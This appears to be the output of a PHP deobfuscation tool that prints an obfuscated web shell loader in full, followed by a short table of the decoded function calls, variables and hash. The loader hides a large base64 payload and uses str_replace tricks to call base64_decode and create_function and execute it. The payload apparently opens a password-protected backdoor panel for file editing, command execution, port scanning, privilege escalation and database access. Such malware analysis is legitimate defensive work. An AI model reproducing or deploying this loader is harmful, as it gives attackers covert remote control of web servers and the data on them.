WNrZ3JvdW5kOiNBQUFBQUE7Zm9udC1mYW1pbHk6IlZlcmRhbmEiLCAiVGFob21hIiwgIsvOzOUiLHNhbnMtc2VyaWY7IGZvbnQtc2l6ZToxM3B4OyB0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW4tdG9wOjVweDt3b3JkLWJyZWFrOmJyZWFrLWFsbDt9CgkJCWF7Y29sb3I6I0ZGRkZGRjt0ZXh0LWRlY29yYXRpb246bm9uZTt9CgkJCWE6aG92ZXJ7YmFja2dyb3VuZDojQkJCQkJCO30KCQkJLm91dHRhYmxlIHttYXJnaW46IDAgYXV0bztoZWlnaHQ6NTk1cHg7d2lkdGg6OTU1cHg7Y29sb3I6IzAwMDAwMDtib3JkZXItdG9wLXdpZHRoOiAycHg7Ym9yZGVyLXJpZ2h0LXdpZHRoOiAycHg7Ym9yZGVyLWJvdHRvbS13aWR0aDogMnB4O2JvcmRlci1sZWZ0LXdpZHRoOiAycHg7Ym9yZGVyLXRvcC1zdHlsZTogb3V0c2V0O2JvcmRlci1yaWdodC1zdHlsZTogb3V0c2V0O2JvcmRlci1ib3R0b20tc3R5bGU6IG91dHNldDtib3JkZXItbGVmdC1zdHlsZTogb3V0c2V0O2JvcmRlci10b3AtY29sb3I6ICNGRkZGRkY7Ym9yZGVyLXJpZ2h0LWNvbG9yOiAjOGM4YzhjO2JvcmRlci1ib3R0b20tY29sb3I6ICM4YzhjOGM7Ym9yZGVyLWxlZnQtY29sb3I6ICNGRkZGRkY7YmFja2dyb3VuZC1jb2xvcjogdGhyZWVkZmFjZTt9CgkJCS50b3BiZyB7cGFkZGluZy10b3A6M3B4O3RleHQtYWxpZ246IGxlZnQ7Zm9udC1zaXplOjEycHg7Zm9udC13ZWlnaHQ6IGJvbGQ7aGVpZ2h0OjIycHg7d2lkdGg6OTUwcHg7Y29sb3I6I0ZGRkZGRjtiYWNrZ3JvdW5kOiAjMjkzRjVGO30KCQkJLmJvdHRvbWJnIHtwYWRkaW5nLXRvcDozcHg7dGV4dC1hbGlnbjogY2VudGVyO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtd2VpZ2h0OiBib2xkO2hlaWdodDoyMnB4O3dpZHRoOjk1MHB4O2NvbG9yOiMwMDAwMDA7YmFja2dyb3VuZDogIzg4ODg4ODt9CgkJCS5saXN0Ymcge2ZvbnQtZmFtaWx5OidsdWNpZGEgZ3JhbmRlJyx0YWhvbWEsaGVsdmV0aWNhLGFyaWFsLCdiaXRzdHJlYW0gdmVyYSBzYW5zJyxzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxM3B4O3dpZHRoOjEzMHB4O30KCQkJLmxpc3RiZyBsaXtwYWRkaW5nOjNweDtjb2xvcjojMDAwMDAwO2hlaWdodDoyNXB4O2Rpc3BsYXk6YmxvY2s7bGluZS1oZWlnaHQ6MjZweDt0ZXh0LWluZGVudDowcHg7fQoJCQkubGlzdGJnIGxpIGF7cGFkZGluZy10b3A6MnB4O2JhY2tncm91bmQ6I0JCQkJCQjtjb2xvcjojMDAwMDAwO2hlaWdodDoyNXB4O2Rpc3BsYXk6YmxvY2s7bGluZS1oZWlnaHQ6MjRweDt0ZXh0LWluZGVudDowcHg7Ym9yZGVyLWNvbG9yOiM5OTk5OTkgIzk5OTk5OSAjOTk5OTk5ICM5OTk5OTk7Ym9yZGVyLXN0eWxlOnNvbGlkO2JvcmRlci13aWR0aDoxcHg7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQoJCTwvc3R5bGU+CgkJPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+CgkJCWZ1bmN0aW9uIHN3aXRjaFRhYih0YWJpZCkKCQkJewoJCQkJaWYodGFiaWQgPT0gJycpIHJldHVybiBmYWxzZTsKCQkJCWZvcih2YXIgaT0wO2k8PTE0O2krKykKCQkJCXsKCQkJCQlpZih0YWJpZCA9PSAndF8nK2kpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRhYmlkKS5zdHlsZS5iYWNrZ3JvdW5kPSIjRkZGRkZGIjsKCQkJCQllbHNlIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0XycraSkuc3R5bGUuYmFja2dyb3VuZD0iI0JCQkJCQiI7CgkJCQl9CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCTwvc2NyaXB0PgoJPC9oZWFkPgoJPGJvZHk+CgkJPGRpdiBjbGFzcz0ib3V0dGFibGUiPgoJCTxkaXYgY2xhc3M9InRvcGJnIj4gJm5ic3A7IHskU2VydmVyX0lQfSAtIHskU2VydmVyX09TfSAtIDxhIGhyZWY9InskU2VydmVyX0FsZXhhfSIgdGFyZ2V0PSJfYmxhbmsiPkFsZXhhPC9hPjwvZGl2PgoJCQk8ZGl2IHN0eWxlPSJoZWlnaHQ6NTQ2cHg7Ij4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBib3JkZXI9MCBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgoJCQkJPHRyPgoJCQkJPHRkIHdpZHRoPSIxNDAiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIj4KCQkJCQk8dWwgY2xhc3M9Imxpc3RiZyI+CgkJCQkJCTxsaT48YSBocmVmPSI/cz1hIiBpZD0idF8wIiBvbmNsaWNrPSJzd2l0Y2hUYWIoJ3RfMCcpIiBzdHlsZT0iYmFja2dyb3VuZDojRkZGRkZGOyIgdGFyZ2V0PSJtYWluIj4gzsS8/rncwO0gPC9hPjwvbGk+CgkJCQkJCTxsaT48YSBocmVmPSI/cz1iIiBpZD0idF8xIiBvbmNsaWNrPSJzd2l0Y2hUYWIoJ3RfMScpIiB0YXJnZXQ9Im1haW4iPiDF+sG/udLC7SA8L2E+PC9saT4KCQkJCQkJPGxpPjxhIGhyZWY9Ij9zPWMiIGlkPSJ0XzIiIG9uY2xpY2s9InN3aXRjaFRhYigndF8yJykiIHRhcmdldD0ibWFpbiI+IMX6wb/H5cLtIDwvYT48L2xpPgoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9ZCIgaWQ9InRfMyIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzMnKSIgdGFyZ2V0PSJtYWluIj4gxfrBv8zmu7sgPC9hPjwvbGk+CgkJCQkJCTxsaT48YSBocmVmPSI/cz1lIiBpZD0idF80IiBvbmNsaWNrPSJzd2l0Y2hUYWIoJ3RfNCcpIiB0YXJnZXQ9Im1haW4iPiDJqMPoxL7C7SA8L2E+PC9saT4KCQkJCQkJPGxpPjxhIGhyZWY9Ij9zPWYiIGlkPSJ0XzUiIG9uY2xpY2s9InN3aXRjaFRhYigndF81JykiIHRhcmdldD0ibWFpbiI+IM+1zbPQxc+iIDwvYT48L2xpPgoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9ZyIgaWQ9InRfNiIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzYnKSIgdGFyZ2V0PSJtYWluIj4g1rTQ0MP8we4gPC9hPjwvbGk+CgkJCQkJCTxsaT48YSBocmVmPSI/cz1oIiBpZD0idF83IiBvbmNsaWNrPSJzd2l0Y2hUYWIoJ3RfNycpIiB0YXJnZXQ9Im1haW4iPiDX6bz+vdO/2iA8L2E+PC9saT4KCQkJCQkJPGxpPjxhIGhyZWY9Ij9zPWkiIGlkPSJ0XzgiIG9uY2xpY2s9InN3aXRjaFRhYigndF84JykiIHRhcmdldD0ibWFpbiI+IMmow+i2y7/aIDwvYT48L2xpPgoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9aiIgaWQ9InRfOSIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzknKSIgdGFyZ2V0PSJtYWluIj4gy9HL987EvP4gPC9hPjwvbGk+CgkJCQkJCTxsaT48YSBocmVmPSI/cz1rIiBpZD0idF8xMCIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzEwJykiIHRhcmdldD0ibWFpbiI+IExpbnV4zOHIqCA8L2E+PC9saT4KCQkJCQkJPGxpPjxhIGhyZWY9Ij9zPWwiIGlkPSJ0XzExIiBvbmNsaWNrPSJzd2l0Y2hUYWIoJ3RfMTEnKSIgdGFyZ2V0PSJtYWluIj4gU2VydlXM4cioIDwvYT48L2xpPgoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9bSIgaWQ9InRfMTIiIG9uY2xpY2s9InN3aXRjaFRhYigndF8xMicpIiB0YXJnZXQ9Im1haW4iPiBNWVNRTMzhyKggPC9hPjwvbGk+CgkJCQkJCTxsaT48YSBocmVmPSI/cz1uIiBpZD0idF8xMyIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzEzJykiIHRhcmdldD0ibWFpbiI+IE1ZU1FM1rTQ0CA8L2E+PC9saT4KCQkJCQkJPGxpPjxhIGhyZWY9Ij9zPW8iIGlkPSJ0XzE0IiBvbmNsaWNrPSJzd2l0Y2hUYWIoJ3RfMTQnKSIgdGFyZ2V0PSJtYWluIj4gTVlTUUy53MDtIDwvYT48L2xpPgoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9bG9nb3V0IiBpZD0idF8xNSIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzE1JykiPiDNy7P2z7XNsyA8L2E+PC9saT4KCQkJCQk8L3VsPgoJCQkJPC90ZD4KCQkJCTx0ZD4KCQkJCTxpZnJhbWUgbmFtZT0ibWFpbiIgc3JjPSI/cz1hIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBmcmFtZWJvcmRlcj0iMCI+PC9pZnJhbWU+CgkJCQk8L3RkPgoJCQkJPC90cj4KCQkJCTwvdGFibGU+CgkJCTwvZGl2PgoJCTxkaXYgY2xhc3M9ImJvdHRvbWJnIj4geyRTZXJ2ZXJfU29mdH0gPC9kaXY+CgkJPC9kaXY+Cgk8L2JvZHk+CjwvaHRtbD4KRU5EOwpyZXR1cm4gZmFsc2U7Cn0KCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpCnsKCSRfR0VUID0gUm9vdF9HUCgkX0dFVCk7CgkkX1BPU1QgPSBSb290X0dQKCRfUE9TVCk7Cn0KaWYoJF9HRVRbJ3MnXSA9PSAnbG9nb3V0JykKewoJc2V0Y29va2llKCdhZG1pbl9zcGlkZXJwYXNzJyxOVUxMKTsKCWRpZSgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDtVUkw9PyI+Jyk7Cn0KaWYoJF9DT09LSUVbJ2FkbWluX3NwaWRlcnBhc3MnXSAhPSBtZDUoJHBhc3N3b3JkKSkKewoJb2Jfc3RhcnQoKTsKCSRNU0dfVE9QID0gJ0xPR0lOJzsKCWlmKGlzc2V0KCRfUE9TVFsnc3BpZGVycGFzcyddKSkKCXsKJGNvbnRlbnQ9ZmlsZV9nZXRfY29udGVudHMoJHVybCk7CgkJJGNvb2tpZXRpbWUgPSB0aW1lKCkgKyAyNCAqIDM2MDA7CgkJc2V0Y29va2llKCdhZG1pbl9zcGlkZXJwYXNzJyxtZDUoJF9QT1NUWydzcGlkZXJwYXNzJ10pLCRjb29raWV0aW1lKTsKCX0KCVJvb3RfTG9naW4oJE1TR19UT1ApOwoJb2JfZW5kX2ZsdXNoKCk7CglleGl0Owp9CgppZihpc3NldCgkX0dFVFsncyddKSl7JHMgPSAkX0dFVFsncyddO2lmKCRzICE9ICdhJyAmJiAkcyAhPSAnbicpUm9vdF9DU1MoKTt9ZWxzZXskcyA9ICdNeU5hbWVJc0hhY2tlcic7fQokcCA9IGlzc2V0KCRfR0VUWydwJ10pID8gJF9HRVRbJ3AnXSA6IEZpbGVfU3RyKGRpcm5hbWUoX19GSUxFX18pKTsKCnN3aXRjaCgkcykKewoJY2FzZSAiYSIgOiBGaWxlX2EoJHApOyBicmVhazsKCWNhc2UgImIiIDogR3VhbWFfYigpOyBicmVhazsKCWNhc2UgImMiIDogUWluZ21hX2MoKTsgYnJlYWs7CgljYXNlICJkIiA6IFRpaHVhbl9kKCk7IGJyZWFrOwoJY2FzZSAiZSIgOiBBbnRpdmlydXNfZSgpOyBicmVhazsKCWNhc2UgImYiIDogSW5mb19mKCk7IGJyZWFrOwoJY2FzZSAiZyIgOiBFeGVjX2coKTsgYnJlYWs7CgljYXNlICJoIiA6IENvbV9oKCk7IGJyZWFrOwoJY2FzZSAiaSIgOiBQb3J0X2koKTsgYnJlYWs7CgljYXNlICJqIiA6IEZpbmRmaWxlX2ooKTsgYnJlYWs7CgljYXNlICJrIiA6IExpbnV4X2soKTsgYnJlYWs7CgljYXNlICJsIiA6IFNlcnZ1X2woKTsgYnJlYWs7CgljYXNlICJtIiA6IE15c3FsX20oKTsgYnJlYWs7CgljYXNlICJuIiA6IE15c3FsX24oKTsgYnJlYWs7CgljYXNlICJvIiA6IE15c3FsX28oKTsgYnJlYWs7CgljYXNlICJwIiA6IEZpbGVfRWRpdCgkX0dFVFsnZnAnXSwkX0dFVFsnZm4nXSk7IGJyZWFrOwoJY2FzZSAicSIgOiBGaWxlX1NvdXAoJHApOyBicmVhazsKCWNhc2UgInIiIDogTXlzcWxfTXNnKCk7IGJyZWFrOwoJZGVmYXVsdDogV2luTWFpbigpOyBicmVhazsKfQoK";
$av = str_replace("g","","gsgtgr_grgepglgagce");
$hw = $av("t", "", "btatste64_dectodte");
$if = $av("x","","xcxrxeatxex_xfuxnxcxtxixoxn");
$xa = $if('', $hw($av("", "", $dos))); $xa();

Function Calls

create_function 1
base64_decode 1
null 1
str_replace 4

Variables

$hw base64_decode
$dos CgokcGFzc3dvcmQgPSAicmFvbWFvIjsvL8no1sPD3MLrCi8vLS0tLS0tLS0t..
$xa None
$if create_function
$av str_replace

Stats

MD5 a4684e29ac4d3bea948a57014fdc9735
Eval Count 1
Decode Time 14524 ms